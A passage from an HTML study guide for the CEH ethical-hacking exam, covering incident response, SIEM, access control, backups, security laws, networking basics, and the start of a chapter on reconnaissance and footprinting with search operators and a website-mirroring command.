    <li><strong>Eradicate &amp; Recovery:</strong> Remove the cause of incident; Patch if needed. Recovery: get back
      into production; Monitor affected systems.</li>
    <li><strong>Post-incident Activities:</strong> Document what happened and why; Transfer knowledge.</li>
  </ol>
  <h3>Incident Response Team Duties</h3>
  <ol>
    <li>Managing security issues by taking a proactive approach towards the customer's security vulnerabilities</li>
    <li>Developing or reviewing processes and procedures that must be followed</li>
    <li>Managing the response to an incident and ensuring that all procedures are followed correctly in order to
      minimize and control the damage</li>
    <li>Identifying and analyzing what has happened during an incident, including impact and threat</li>
    <li>Providing a single point of contact for reporting seucirty incidents and issues</li>
    <li>Reviewing changes in legal and regulatory requirements to ensure that all processes and procedures are valid
    </li>
    <li>Reviewing existing controls and recommending steps and technologies to prevent future incidents</li>
    <li>Establishing relationship with local law enforcement agency, gov. agencies, key partners and suppliers</li>
  </ol>
  <h3>SIEM - Security Information and Event Management</h3>
  <p align="center">
    <img width="90%" src="https://secureops.com/wp-content/uploads/2020/01/components-of-siem.jpg">
  </p>
  <p><em>Collects data points from network, including log files, traffic captures, SNMP messages, and so on, from every
      host on the network. SIEM can collect all this data into one centralized location and correlate it for analysis to
      look for security and performance issues, as well negative trends all in real time.</em></p>
  <ul>
    <li>
      <p><strong>Aggregation</strong>: Collecting data from disparate sources and organizing the data into a single
        format. Any device within a SIEM system that collects data is called collector or an aggregator.</p>
    </li>
    <li>
      <p><strong>Correlation</strong>: Is the logic that looks at data from disparate sources and can make
        determinations about events taking place on your network. (Could be in-band or out-of-band, depending on the
        placement of the NIDS/NIPS).</p>
      <ul>
        <li><strong>Alerts</strong> - For notification if something goes bad.</li>
        <li><strong>Triggering</strong> - Exceeding thresholds.</li>
      </ul>
    </li>
    <li>
      <p><strong>Normalization</strong>: Will actually create multiple tables / organize in such a way that the data can
        become more efficient and allows our analysis and reports tools to work better.</p>
    </li>
    <li>
      <p><strong>WORM - Write Once Read Many</strong>: The concept being is that log files are precious, and a lot of
        times you might want to look at them in an archival way, so that we can use optical media like WORM drives to
        store them.</p>
    </li>
  </ul>
  <h4>Most Popular SIEM Tools:</h4>
  <ul>
    <li><strong><a href="https://www.splunk.com/">Splunk</a></strong>
      <img
        src="https://www.splunk.com/content/dam/splunk2/images/screenshots/platform-journey/conflaunch/SS-UI-Light-Mode-frame.png"
        alt="splunk"></li>
  </ul>
  <br>
  <ul>
    <li><strong><a
          href="https://www.microfocus.com/en-us/products/siem-security-information-event-management/overview">ArcSight</a></strong>
      <img src="https://i.ytimg.com/vi/N7J0EwdbKF0/maxresdefault.jpg" alt="arcsight"></li>
  </ul>
  <br>
  <ul>
    <li><strong><a href="https://www.elastic.co/what-is/elk-stack">ELK - Elastic Search, Log Stash and Kibana</a> (Open
        Source)</strong>
      <img src="https://i.imgur.com/lydtCwn.png" alt="elk"></li>
  </ul>
  <h2><u>Identity and Access Management</u></h2>
  <blockquote>
    <p><strong>Identification, Authentication, Authorization</strong>, and <strong>Accounting</strong> work together to
      manage assets securely.</p>
  </blockquote>
  <h3>1. <strong>Identification</strong></h3>
  <p><em>The information on credentials identifies the user.</em></p>
  <ul>
    <li><strong>Example</strong>:
      <ul>
        <li>Your name, username, ID number, employee number, SSN etc.</li>
      </ul>
    </li>
  </ul>
  <h3>2. <strong>Authentication</strong></h3>
  <p><em>“Prove you are the legitimate User". – Should always be done with Multifactor Authentication!</em></p>
  <ul>
    <li><strong>Authentication Factors:</strong>
      <ul>
        <li>Something you <strong>know</strong> (e.g. - password)</li>
        <li>Something you <strong>have</strong> (e.g. - smart card)</li>
        <li>Something you <strong>are</strong> (e.g. - fingerprint)</li>
        <li>Something you <strong>do</strong> (e.g. - android pattern; manual signature)</li>
        <li><strong>Somewhere</strong> you are (e.g. - geolocation)</li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>🛑 <strong>Multi-factor authentication</strong> *generally uses two of this examples (e.g. - Something you
      <strong>Know(1)</strong> and Something you <em><em>Have(2)</em>*, never on same category</em></p>
  </blockquote>
  <h3>3. Authorization concepts</h3>
  <p><em>What are you allowed to access – We use Access Control models, what and how we implement depends on the
      organization and what our security goals are.</em></p>
  <ul>
    <li><strong>Permissions</strong>:
      <ul>
        <li>Applied to resources</li>
      </ul>
    </li>
    <li><strong>Rights</strong> / <strong>Privileges</strong>:
      <ul>
        <li>Assign at system level</li>
      </ul>
    </li>
    <li><strong>Authorization strategies</strong>:
      <ul>
        <li>Least privileged</li>
        <li>Separation of Duties</li>
      </ul>
    </li>
  </ul>
  <h3>4. Accouting</h3>
  <p><em>Trace an Action to a Subjects Identity:</em></p>
  <ul>
    <li>Prove who/what a given action was performed by (non-repudiation); Logging</li>
  </ul>
  <h3>Access Controls Models</h3>
  <p align="center">
    <img width="80%" src="https://security-architect.com/wp-content/uploads/FGA.png">
  </p>
  <ul>
    <li><strong>Mandatory Access Control (MAC)</strong>:
      <ul>
        <li>Every object gets a <strong>label</strong>
          <ul>
            <li>Confidential, secret, top secret, etc</li>
          </ul>
        </li>
        <li>The administrator decides who gets access to what security level; Users cannot change these settings</li>
        <li>Used on old systems (e.g. Top Secret Gov. information)</li>
      </ul>
    </li>
    <li><strong>Discretionary Access Control (DAC)</strong>:
      <ul>
        <li>Used in most OS</li>
        <li>Owner of the data defines access</li>
        <li>Very flexible access control; Very weak security</li>
      </ul>
    </li>
    <li><strong>Role-based Access Control (RBAC)</strong>:
      <ul>
        <li>Access to resources is defines by a set of rules defined by a role in your organization/job function
          (Manager, Director etc)</li>
        <li>Administrators provide access based on the role of the user
          <ul>
            <li>Rights are gained implicity instead of explicity</li>
          </ul>
        </li>
        <li>In Windows, use <strong>Groups</strong> to provide role-based access control
          <ul>
            <li>e.g. Admin Groups --&gt; Rights and Perms,</li>
            <li>Sales Group --&gt; Rights and Perms</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Access is defined by ACL, Access Control List</strong>.
      ⚠️ <strong>Implicity deny</strong> prevents access unless specifically permitted.</p>
  </blockquote>
  <h2>Data Loss Prevention (DLP)</h2>
  <p>Data Loss Prevention (DLP) is the practice of <strong>detecting and preventing data breaches, exfiltration, or
      unwanted destruction of sensitive data</strong>. Organizations use DLP to protect and secure their data and comply
    with regulations.</p>
  <ul>
    <li>The DLP term refers to defending organizations against both data loss and data leakage prevention.</li>
  </ul>
  <h4>Organizations typically use DLP to:</h4>
  <ul>
    <li>Protect Personally Identifiable Information (PII) and comply with relevant regulations</li>
    <li>Protect Intellectual Property critical for the organization</li>
    <li>Achieve data visibility in large organizations</li>
    <li>Secure mobile workforce and enforce security in Bring Your Own Device (BYOD) environments</li>
    <li>Secure data on remote cloud systems</li>
  </ul>
  <p align="center">
    <img width="90%" src="https://miro.medium.com/max/720/1*FG9LR51eySVRQJUjhVv-9A.png">
  </p>
  <h2>Data Backup</h2>
  <p>Data backup plays a crucial role in maintaining business continuity by helping org. recover from IT disasters,
    security breaches, application failures, human error, etc.</p>
  <p>All regulatory compliance such as COBIT, SSAE, SOCII, PCI-DSS, HIPPA, SOX, FINRA, FISMA, GDPR, etc. require
    business to maintain data backups of critical data for specified duration.</p>
  <h3>Backup Strategies</h3>
  <ol>
    <li>Identifying the critical business data</li>
    <li>Selecting the backup media</li>
    <li>Selecting a backup technology</li>
    <li>Selecting the appropriate RAID levels</li>
    <li>Selecting an appropriate backup method</li>
  </ol>
  <h3>3 Backup methods</h3>
  <h4>1. Cold backup 🔵</h4>
  <img width="40%"
    src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/29c5e018095b135baec32aaece84a900a43b23ca/cc-cold.png">
  <ul>
    <li><strong>Empty site, no hardware, no data, no people</strong></li>
    <li><strong>It takes weeks to bring online</strong></li>
    <li>Basic office spaces (e.g building, chairs, AC...)</li>
    <li>No operational equipment</li>
    <li>Cheapest recovery site</li>
  </ul>
  <h4>2. Warm backup 🟡</h4>
  <img width="40%"
    src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/29c5e018095b135baec32aaece84a900a43b23ca/cc-warm.png">
  <ul>
    <li><strong>Somewhere between cold and hot - Just enough to get going (Big room with rack space, you bring the
        hardware)</strong></li>
    <li>Hardware is ready and waiting - you bring the software and data</li>
    <li><strong>It takes days to bring online</strong></li>
    <li>Operational equipment but little or no data</li>
  </ul>
  <h4>3. Hot backup 🔴</h4>
  <img width="40%"
    src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/29c5e018095b135baec32aaece84a900a43b23ca/cc-hot.png">
  <ul>
    <li><strong>Exact replica of production systems</strong></li>
    <li>Applications and software are constantly updated</li>
    <li>Flip a switch and everyting moves</li>
    <li><strong>It take hours to bring online</strong></li>
    <li>Real-time synchronization</li>
    <li>Almost all data ready to go - often just a quick update</li>
    <li>Very expensive</li>
  </ul>
  <h2><u>Penetration Test - Basics</u></h2>
  <blockquote>
    <p><strong>This topic will be covered with details in <a
          href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/14-Pentesting.md">Chapter 14 -
          Pentesting</a>.</strong></p>
  </blockquote>
  <p><em>A penetration test, colloquially known as a pen test, pentest or ethical hacking, is an authorized simulated
      cyberattack on a computer system, performed to evaluate the security of the system.</em></p>
  <blockquote>
    <p>⚠️ <strong>Not to be confused with a vulnerability assessment.</strong></p>
  </blockquote>
  <ul>
    <li>Clearly defined, full scale test of security controls</li>
    <li>Phases
      <ul>
        <li><strong>Preparation</strong> - Contracts and team determined</li>
        <li><strong>Assessment</strong> - All hacking phases (reconnaissance, scanning, attacks, etc.)</li>
        <li><strong>Post-Assessment</strong> - Reports &amp; conclusions</li>
      </ul>
    </li>
    <li>Types
      <ul>
        <li><strong>Black Box</strong> - Done without any knowledge of the system or network.</li>
        <li><strong>White Box</strong> - When the attacker have complete knowledge of the system provided by the
          owner/target.</li>
        <li><strong>Gray Box</strong> - When the attacker has some knowledge of the system and/or network</li>
      </ul>
    </li>
  </ul>
  <h2><u>Law Categories</u></h2>
  <ul>
    <li><strong>Criminal</strong> - Laws that protect public safety and usually have jail time attached.</li>
    <li><strong>Civil</strong> - Private rights and remedies.</li>
    <li><strong>Common</strong> - Laws that are based on societal customs.</li>
  </ul>
  <h2>Laws and Standards:</h2>
  <h3><strong>OSSTM Compliance</strong></h3>
  <p><strong>"Open Source Security Testing Methodology Manual"</strong> maintained by ISECOM , defines three types of
    compliance.</p>
  <ul>
    <li>
      <p><strong>Legislative</strong> - Deals with government regulations (Such as SOX and HIPAA).</p>
    </li>
    <li>
      <p><strong>Contractual</strong> - Deals with industry / group requirement (Such as PCI DSS).</p>
    </li>
    <li>
      <p><strong>Standards based</strong> - Deals with practices that must be followed by members of a given
        group/organization (Such as ITIL ,ISO and OSSTMM itself).</p>
    </li>
    <li>
      <p><strong>OSSTM Controls</strong></p>
      <ul>
        <li><strong>OSSTM Class A - Interactive Controls</strong>
          <ul>
            <li><em>Authentication</em> - Provides for identification and authorization based on credentials.</li>
            <li><em>Indemnification</em> - Provided contractual protection against loss or damages.</li>
            <li><em>Subjugation</em> - Ensures that interactions occur according to processes defined by the asset
              owner.</li>
            <li><em>Continuity</em> - Maintains interactivity with assets if corruption of failure occurs.</li>
            <li><em>Resilience</em> - Protects assets from corruption and failure.</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>OSSTM Class B - Process Controls</strong></p>
      <ul>
        <li><em>Non-repudiation</em> - Prevents participants from denying its actions</li>
        <li><em>Confidentiality</em> - Ensures that only participants know of an asset</li>
        <li><em>Privacy</em> - Ensures that only participants have access to the asset</li>
        <li><em>Integrity</em> - Ensures that only participants know when assets and processes change</li>
        <li><em>Alarm</em> - Notifies participants when interactions occur</li>
      </ul>
    </li>
  </ul>
  <h3><strong>PCI-DSS</strong></h3>
  <p><strong>"Payment Card Industry Data Security Standard"</strong> Standard for organizations handling Credit Cards,
    ATM cards and other POS cards.</p>
  <h3><strong>ISO 27001</strong></h3>
  <p>This International Standard has been prepared to provide requirements for establishing, implementing, maintaining
    and continually improving an information security management system.</p>
  <h3><strong>ISO 27002 AND 17799</strong></h3>
  <p>Based on BS799 but focuses on security objectives and provides security controls based on industry best practice.
  </p>
  <h3><strong>HIPAA</strong></h3>
  <p><strong>"Health Insurance Portability and Accountability Act"</strong> a law that set's privacy standards to
    protect patient medical records and health information shared between doctors, hospitals and insurance providers.
  </p>
  <h3><strong>SOX</strong></h3>
  <p><strong>"Sarbanes-Oxley Act" Law</strong> that requires publicly traded companies to submit to independent audits
    and to properly disclose financial information.</p>
  <h3>DMCA</h3>
  <p><strong>"The Digital Millennium Copyright Act"</strong> is a 1998 United States copyright law that implements two
    1996 treaties of the World Intellectual Property Organization. It criminalizes production and dissemination of
    technology, devices, or services intended to circumvent measures that control access to copyrighted works.</p>
  <h3><strong>FISMA</strong></h3>
  <p><strong>"Federal Information Security Modernization Ac Of 2002"</strong> A law updated in 2004 to codify the
    authority of the Department of Homeland Security with regard to implementation of information security policies.
    <em>(For GOV. agencies)</em></p>
  <h3><strong>NIST-800-53</strong></h3>
  <p>Catalogs security and privacy controls for federal information systems, created to help implementation of FISMA.
  </p>
  <h3><strong>FITARA</strong></h3>
  <p><strong>"Federal Information Technology Acquisition Reform Act"</strong> A 2013 bill that was intended to change
    the framework that determines how the US GOV purchases technology.</p>
  <h3><strong>COBIT</strong></h3>
  <p><strong>"Control Object for Information and Related Technology"</strong> IT Governance framework and toolset,
    created by ISACA and ITGI</p>
  <h3><strong>GLBA</strong></h3>
  <p><strong>"U.S Gramm-Leach-Bliley Act"</strong> Law that protects the confidentiality and integrity of personal
    information that is collected by financial institutions.</p>
  <h3><strong>CSIRT</strong></h3>
  <p><strong>"Computer Security Incident Response Team"</strong> CSIRT provided a single point of contact when reporting
    computer security incidents</p>
  <h3><strong>ITIL</strong></h3>
  <p><strong>"Information Technology Infrastructure Library"</strong> - An operational framework developed in the '80s
    that standardizes IT management procedures</p>
  <h1><u>Essential Knowledge</u></h1>
  <h2><u> OSI Model and TCP Model</u></h2>
  <ul>
    <li>
      <p><strong>The OSI Model</strong> we just looked at is just a reference/logical model. It was designed to describe
        the functions of the communication system by dividing the communication procedure into smaller and simpler
        components.</p>
    </li>
    <li>
      <p><strong>The TCP/IP model</strong> is a concise version of the OSI model. It contains four layers, unlike seven
        layers in the OSI model.</p>
    </li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>Layer</th>
        <th>Device Type</th>
        <th>OSI Layer</th>
        <th>TCP/IP model</th>
        <th>TCP/IP New (actual)</th>
        <th>Protocols</th>
        <th>PDU</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>7</td>
        <td>Gateway</td>
        <td><strong>Application</strong></td>
        <td>Application</td>
        <td>Application</td>
        <td>HTTP, FTP, POP, SMTP, DNS, RIP</td>
        <td>Data</td>
      </tr>
      <tr>
        <td>6</td>
        <td>-</td>
        <td><strong>Presentation</strong></td>
        <td>Application</td>
        <td>Application</td>
        <td>HTTP, FTP, POP, SMTP, DNS, RIP, MIME</td>
        <td>Data</td>
      </tr>
      <tr>
        <td>5</td>
        <td>-</td>
        <td><strong>Session</strong></td>
        <td>Application</td>
        <td>Application</td>
        <td>HTTP, FTP, POP, SMTP, DNS, RIP, SCP</td>
        <td>Data</td>
      </tr>
      <tr>
        <td>4</td>
        <td>-</td>
        <td><strong>Transport</strong></td>
        <td>Transport</td>
        <td>Transport</td>
        <td>TCP/UDP</td>
        <td>Segments</td>
      </tr>
      <tr>
        <td>3</td>
        <td>Router</td>
        <td><strong>Network</strong></td>
        <td>Internet</td>
        <td>Network</td>
        <td>IP, ARP, ICMP, IGMP</td>
        <td>Packets</td>
      </tr>
      <tr>
        <td>2</td>
        <td>Switch/bridge</td>
        <td><strong>Data Link</strong></td>
        <td>Link</td>
        <td>Data Link</td>
        <td>Ethernet, Token Ring</td>
        <td>Frames</td>
      </tr>
      <tr>
        <td>1</td>
        <td>Hubs/Repeater</td>
        <td><strong>Physical</strong></td>
        <td>Link</td>
        <td>Physical</td>
        <td>Ethernet, Token Ring</td>
        <td>Bits</td>
      </tr>
    </tbody>
  </table>
  <h3><u>TCP Handshake</u></h3>
  <h4 align="center">The Three-way handshake</h4>
  <p align="center">
    <img width="77%" src="https://wiki.mikrotik.com/images/f/fc/Image2001.gif">
  </p>
  <h4>✅ TCP Connection establishment process</h4>
  <ol>
    <li><strong>Host A</strong> sends out a <strong>SYN</strong> (synchronize) packet with proposed initial sequence
      number to Host B.</li>
    <li><strong>Host B</strong> receives <strong>SYN</strong> message, it returns a packet with both SYN and ACK flags
      (<strong>SYN-ACK</strong>) set in the <a
        href="https://www.gatevidyalay.com/transmission-control-protocol-tcp-header/">TCP header</a>.</li>
    <li><strong>Host A</strong> receives the <strong>SYN-ACK</strong>, it sends back <strong>ACK</strong>
      (Acknowledgment) packet.</li>
    <li><strong>Host B</strong> receives <strong>ACK</strong> and at this stage the connection is
      <strong>ESTABLISHED.</strong></li>
  </ol>
  <h4>❌ TCP Connection termination</h4>
  <ol>
    <li><strong>Host A</strong> sends a <strong>FIN</strong> (finish) flag, indicating that is has finished sending the
      data.</li>
    <li><strong>Host B</strong> who receives the <strong>FIN</strong>, doest not terminate the connection but enters
      into a "passive close" (CLOSE_WAIT) state and sends the <strong>ACK</strong> for the <strong>FIN</strong> back to
      the Host A.</li>
    <li><strong>Host A</strong> enters into a (TIME_WAIT) state, and sends an <strong>ACK</strong> back to the Host B.
    </li>
    <li><strong>Host B</strong> gets the <strong>ACK</strong> from the Host A and <strong>closes the
        connection.</strong></li>
  </ol>
  <p>⚠️ <em>Sequence numbers increase on new communication. Example is computers A and B. A would increment B's sequence
      number. A would never increment it's own sequence.</em></p>
  <h3><u>TCP Flags</u></h3>
  <table>
    <thead>
      <tr>
        <th>Flag</th>
        <th>Name</th>
        <th>Function</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>SYN</td>
        <td>Synchronize</td>
        <td>Set during initial communication. Negotiating of parameters and sequence numbers</td>
      </tr>
      <tr>
        <td>ACK</td>
        <td>Acknowledgment</td>
        <td>Set as an acknowledgement to the SYN flag. Always set after initial SYN</td>
      </tr>
      <tr>
        <td>RST</td>
        <td>Reset</td>
        <td>Forces the termination of a connection (in both directions)</td>
      </tr>
      <tr>
        <td>FIN</td>
        <td>Finish</td>
        <td>Ordered close to communications</td>
      </tr>
      <tr>
        <td>PSH</td>
        <td>Push</td>
        <td>Forces the delivery of data without concern for buffering</td>
      </tr>
      <tr>
        <td>URG</td>
        <td>Urgent</td>
        <td>Data inside is being sent out of band. Example is cancelling a message</td>
      </tr>
    </tbody>
  </table>
  <h3><u>Port Numbers</u></h3>
  <ul>
    <li>
      <p><strong>Internet Assigned Numbers Authority</strong> (IANA) - maintains Service Name and Transport Protocol
        Port Number Registry which lists all port number reservations</p>
    </li>
    <li>
      <p>Ranges</p>
      <ul>
        <li>
          <p><strong>Well-known ports</strong> - 0 - 1023</p>
        </li>
        <li>
          <p><strong>Registered ports</strong> - 1024 - 49,151</p>
        </li>
        <li>
          <p><strong>Dynamic ports</strong> - 49,152 - 65,535</p>
          <table>
            <thead>
            <tr>
            <th>Port Number</th>
            <th>Protocol</th>
            <th>Transport Protocol</th>
            </tr>
            </thead>
            <tbody>
            <tr>
            <td>20/21</td>
            <td>FTP</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>22</td>
            <td>SSH</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>23</td>
            <td>Telnet</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>25</td>
            <td>SMTP</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>53</td>
            <td>DNS</td>
            <td>TCP/UDP</td>
            </tr>
            <tr>
            <td>67</td>
            <td>DHCP</td>
            <td>UDP</td>
            </tr>
            <tr>
            <td>69</td>
            <td>TFTP</td>
            <td>UDP</td>
            </tr>
            <tr>
            <td>80</td>
            <td>HTTP</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>110</td>
            <td>POP3</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>135</td>
            <td>RPC</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>137-139</td>
            <td>NetBIOS</td>
            <td>TCP/UDP</td>
            </tr>
            <tr>
            <td>143</td>
            <td>IMAP</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>161/162</td>
            <td>SNMP</td>
            <td>UDP</td>
            </tr>
            <tr>
            <td>389</td>
            <td>LDAP</td>
            <td>TCP/UDP</td>
            </tr>
            <tr>
            <td>443</td>
            <td>HTTPS</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>445</td>
            <td>SMB</td>
            <td>TCP</td>
            </tr>
            <tr>
            <td>514</td>
            <td>SYSLOG</td>
            <td>UDP</td>
            </tr>
            </tbody>
            </table>
            
        </li>
        <li>
          <p>A service is said to be <strong>listening</strong> for a port when it has that specific port open</p>
        </li>
        <li>
          <p>Once a service has made a connection, the port is in an <strong>established</strong> state</p>
        </li>
        <li>
          <p><strong><code>Netstat</code></strong> command:</p>
          <ul>
            <li>Shows open ports on computer</li>
            <li><strong>netstat -an</strong> displays connections in numerical form</li>
            <li><strong>netstat -b</strong> displays executables tied to the open port (admin only)</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3><u>Subnetting</u></h3>
  <ul>
    <li><strong>IPv4 Main Address Types</strong>
      <ul>
        <li><strong>Unicast</strong> - acted on by a single recipient</li>
        <li><strong>Multicast</strong> - acted on by members of a specific group</li>
        <li><strong>Broadcast</strong> - acted on by everyone on the network
          <ul>
            <li><strong>Limited</strong> - delivered to every system in the domain (255.255.255.255)</li>
            <li><strong>Directed</strong> - delivered to all devices on a subnet and use that broadcast address</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Subnet mask</strong> - determines how many address available on a specific subnet
      <ul>
        <li>Represented by three methods
          <ul>
            <li><strong>Decimal</strong> - 255.240.0.0</li>
            <li><strong>Binary</strong> - 11111111.11110000.00000000.00000000</li>
            <li><strong>CIDR</strong> - x.x.x.x/12 (where x.x.x.x is an ip address on that range)</li>
          </ul>
        </li>
        <li>If all the bits in the host field are 1s, the address is the broadcast</li>
        <li>If they are all 0s, it's the network address</li>
        <li>Any other combination indicates an address in the range</li>
        <li><img
            src="https://s3.amazonaws.com/prealliance-thumbnails.oneclass.com/thumbnails/001/751/775/original/stringio.txt?1513221790"
            alt="img"></li>
      </ul>
    </li>
  </ul>
  <h1>1. Reconnaissance and Footprinting</h1>
  <blockquote>
    <p>⚡︎ <strong>This chapter have <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/tree/master/1-Footprinting-and-Reconnaissance">practical
          labs</a></strong></p>
  </blockquote>
  <h2><u>Footprinting</u></h2>
  <p>Footprinting is a part of reconnaissance process which is used for gathering possible information about a target
    computer system or network.</p>
  <p>When used in the computer security lexicon, "Footprinting" generally refers to one of the pre-attack phases; tasks
    performed before doing the actual attack. <strong>Some of the tools used for Footprinting are Sam Spade, nslookup,
      traceroute, Nmap and neotrace.</strong></p>
  <h2>Footprinting Types: <u>Active and Passive</u></h2>
  <ul>
    <li><strong>Active</strong> - requires attacker to touch the device or network
      <ul>
        <li>Social engineering and other communication that requires interaction with target</li>
      </ul>
    </li>
    <li><strong>Passive</strong> - measures to collect information from publicly available sources
      <ul>
        <li>Websites, DNS records, business information databases</li>
      </ul>
    </li>
  </ul>
  <h3>Footprinting helps to:</h3>
  <ul>
    <li>
      <p><strong>Know Security Posture</strong> – The data gathered will help us to get an overview of the security
        posture of the company such as details about the presence of a firewall, security configurations of applications
        etc.</p>
    </li>
    <li>
      <p><strong>Reduce Attack Area</strong> – Can identify a specific range of systems and concentrate on particular
        targets only. This will greatly reduce the number of systems we are focussing on.</p>
    </li>
    <li>
      <p><strong>Identify vulnerabilities</strong> – we can build an information database containing the
        vulnerabilities, threats, loopholes available in the system of the target organization.</p>
    </li>
    <li>
      <p><strong>Draw Network map</strong> – helps to draw a network map of the networks in the target organization
        covering topology, trusted routers, presence of server and other information.</p>
    </li>
  </ul>
  <p>Footprinting could be both <strong>passive</strong> and <strong>active</strong>. Reviewing a company’s website is
    an example of passive footprinting, whereas attempting to gain access to sensitive information through social
    engineering is an example of active information gathering.</p>
  <p>During this phase, a hacker can collect the following information (only high-level information):</p>
  <ul>
    <li><strong>Domain name</strong></li>
    <li><strong>IP Addresses</strong></li>
    <li><strong>Namespaces</strong></li>
    <li><strong>Employee information</strong></li>
    <li><strong>Phone numbers</strong></li>
    <li><strong>E-mails</strong></li>
    <li><strong>Job Information</strong></li>
  </ul>
  <p>Can be:</p>
  <ul>
    <li><strong>Anonymous</strong> - information gathering without revealing anything about yourself</li>
    <li><strong>Pseudonymous</strong> - making someone else take the blame for your actions</li>
  </ul>
  <p><strong>Competitive Intelligence</strong> - information gathered by businesses about competitors</p>
  <p><strong>Alexa.com</strong> - resource for statistics about websites</p>
  <h2>Footprinting Objectives</h2>
  <ul>
    <li>
      <p><strong>Network</strong></p>
      <ul>
        <li>DNS</li>
        <li>IP networks</li>
        <li>Acessible Systems</li>
        <li>Websites</li>
        <li>Access Control</li>
        <li>VPN Endpoints</li>
        <li>Firewall vendors</li>
        <li>IDS Systems</li>
        <li>Routing/Routed Protocols</li>
        <li>Phone System (Analog/VoIP)</li>
      </ul>
    </li>
    <li>
      <p><strong>Organization</strong></p>
      <ul>
        <li>Org Structure</li>
        <li>Websites</li>
        <li>Phone Numbers</li>
        <li>Directory Information</li>
        <li>Office Locations</li>
        <li>Company History</li>
        <li>Business Associations</li>
      </ul>
    </li>
    <li>
      <p><strong>Hosts</strong></p>
      <ul>
        <li>Listening Services</li>
        <li>Operating System Versions</li>
        <li>Internet Reachability</li>
        <li>Enumerated Information</li>
        <li>SNMP Info</li>
        <li>Users/Groups</li>
        <li>Mobile Devices</li>
      </ul>
    </li>
  </ul>
  <h2><u>Methods and Tools</u></h2>
  <h3>Search Engines</h3>
  <ul>
    <li><strong><a href="https://www.netcraft.com/">NetCraft</a></strong> - Blueprint a comprehensive list of
      information about the technologies and information about target website.
      <ul>
        <li><img src="https://i0.wp.com/hackingblogs.com/wp-content/uploads/2018/01/Capture-min-2.png" alt="netcraft">
        </li>
      </ul>
    </li>
    <li><strong>Job Search Sites</strong> - Information about technologies can be gleaned from job postings.</li>
    <li><strong>Google search | Google dorks:</strong>
      <ul>
        <li><code>filetype:</code> - looks for file types</li>
        <li><code>index of</code> - directory listings</li>
        <li><code>info:</code> - contains Google's information about the page</li>
        <li><code>intitle:</code> - string in title</li>
        <li><code>inurl:</code> - string in url</li>
        <li><code>link:</code> - finds linked pages</li>
        <li><code>related:</code> - finds similar pages</li>
        <li><code>site:</code> - finds pages specific to that site
          <ul>
            <li><strong>Example</strong>:</li>
            <li><img src="https://miro.medium.com/max/659/0*GGRvHnh59qi5lVB9.png" alt="google-dorks"></li>
          </ul>
        </li>
        <li><a href="https://www.exploit-db.com/google-hacking-database">GHDB</a> is very good for learn Google Dorks
          and how it's done in real world scenario</li>
      </ul>
    </li>
    <li><strong>Metagoofil</strong> - Command line interface that uses <strong>Google hacks</strong> to find information
      in meta tags (domain, filetype, etc; Is a google dorks for terminal).</li>
  </ul>
  <h3>Website Footprinting</h3>
  <ul>
    <li><strong>Web mirroring | Website Cloning</strong> - allows for discrete testing offline
      <ul>
        <li><strong>HTTrack</strong> - <em>you can use the CLI version or Web Interface version</em></li>
        <li><strong>Wget</strong> - Linux command
          <ul>
            <li><code>wget -mk -w 10 http://hackthissite.org/</code></li>
          </ul>
        </li>
        <li><strong>Black Widow</strong></li>
        <li><strong>WebRipper</strong></li>
        <li><strong>Teleport Pro</strong></li>
        <li><strong>Backstreet Browser</strong></li>
      </ul>
    </li>
    <li><strong>Archive.org / <a href="https://archive.org/web/">Wayback machine</a></strong></li>
    <li>Provides cached websites from various dates which possibly have sensitive information that has been now removed.
      <ul>
        <li><strong>Wayback Machine -&gt; Google.com</strong>:
          <ul>
            <li><img src="https://searchengineland.com/figz/wp-content/seloads/2011/01/archive41-500x256.png"
                alt="wayback"></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h3>Email Footprinting</h3>
  <ul>
    <li><strong>Email header</strong> - may show servers and where the location of those servers are
      <ul>
        <li>Email headers can provide: <strong>Names, Addresses (IP, email), Mail servers, Time stamps, Authentication
            and so on.</strong>
          <ul>
            <li><img
                src="https://www.wikihow.com/images/thumb/7/72/Read-Email-Headers-Step-7.jpg/v4-460px-Read-Email-Headers-Step-7.jpg.webp"
                alt="emailheader"></li>
          </ul>
        </li>
        <li><strong>EmailTrackerPro</strong> is a Windows software that trace an email back to its true point of origin:
          <ul>
            <li><img src="http://www.emailtrackerpro.com/support/v9/tutorials/images/traceheader/3.png"
                alt="emailtrackerpro"></li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Email tracking</strong> - services can track various bits of information including the IP address of
      where it was opened, where it went, etc.</li>
  </ul>
  <h3>DNS Footprinting</h3>
  <ul>
    <li>
      <p>Ports</p>
      <ul>
        <li>Name lookup - UDP 53</li>
        <li>Zone transfer - TCP 53</li>
      </ul>
    </li>
    <li>
      <p>Zone transfer replicates all records</p>
    </li>
    <li>
      <p><strong>Name resolvers</strong> answer requests</p>
    </li>
    <li>
      <p><strong>Authoritative Servers</strong> hold all records for a namespace</p>
    </li>
    <li>
      <p><strong>DNS Record Types</strong></p>
      <ul>
        <table>
          <thead>
          <tr>
          <th>Name</th>
          <th>Description</th>
          <th>Purpose</th>
          </tr>
          </thead>
          <tbody>
          <tr>
          <td>SOA</td>
          <td>Start of Authority</td>
